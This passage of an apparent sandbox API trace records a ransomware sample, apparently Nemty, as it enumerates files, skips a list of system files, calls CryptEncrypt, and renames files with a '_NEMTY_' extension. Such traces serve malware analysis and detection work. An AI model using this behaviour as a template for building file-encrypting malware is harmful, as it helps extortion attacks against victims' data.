lpOverlapped=0x0) returned 0 [0088.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.146] CloseHandle (hObject=0xffffffff) returned 0 [0088.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0088.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0088.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.147] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.147] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="rsa") returned 1 [0088.147] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="programdata") returned 1 [0088.148] lstrcmpiW (lpString1="SpecialNavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x6345608, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 43 [0088.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f943c0 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x6345608, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 43 [0088.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943c0 | out: hHeap=0x4f90000) returned 1 [0088.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x6345608, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 43 [0088.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0088.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0088.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_SelectionSubpicture.png", cchWideChar=43, lpMultiByteStr=0x6345640, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 43 [0088.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0088.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0088.149] Sleep (dwMilliseconds=0x5) [0088.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe830bed0, dwHighDateTime=0x1d561e7)) [0088.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe830bed0, dwHighDateTime=0x1d561e7)) [0088.154] GetLastError () returned 0x5 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.154] GetLastError () returned 0x5 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.154] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.154] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.154] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0088.154] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="Zr+s8eKuBSFj7dqXC1KMbKMnP/5U5P5gRw2o3v2k842gVVqMl5wp+LLQ9DFtc6E6\r\nY+K+tbIG9iExk08wSOE9aLTBUgIZlXQMXm+Y9cK5e2oHo2EeW9vT+Lckzk3IcLo+\r\npa/pgrYB0qmeLQCcWOvJ4Aa4eXImw2lQ9yWDce6THQxJKR/N19qfNDTm/lvM/gEy\r\nz4DWPtcLGWdRWG0sx9gZAz8m7a102BJzZOpjPURKvWjdV+PZ1Puce8elpkBRqhN5\r\np7Y2Gh6/D3Vp5gId/Mz1aD5ag/vzHhjGSyS18bMqukDUCUKBhzhIabOl//6w1wX+\r\nMHKZKWYklgI4mV4DiW8iTQ==\r\n", pcchString=0x653e91c) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0088.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0088.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.154] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.155] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0088.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 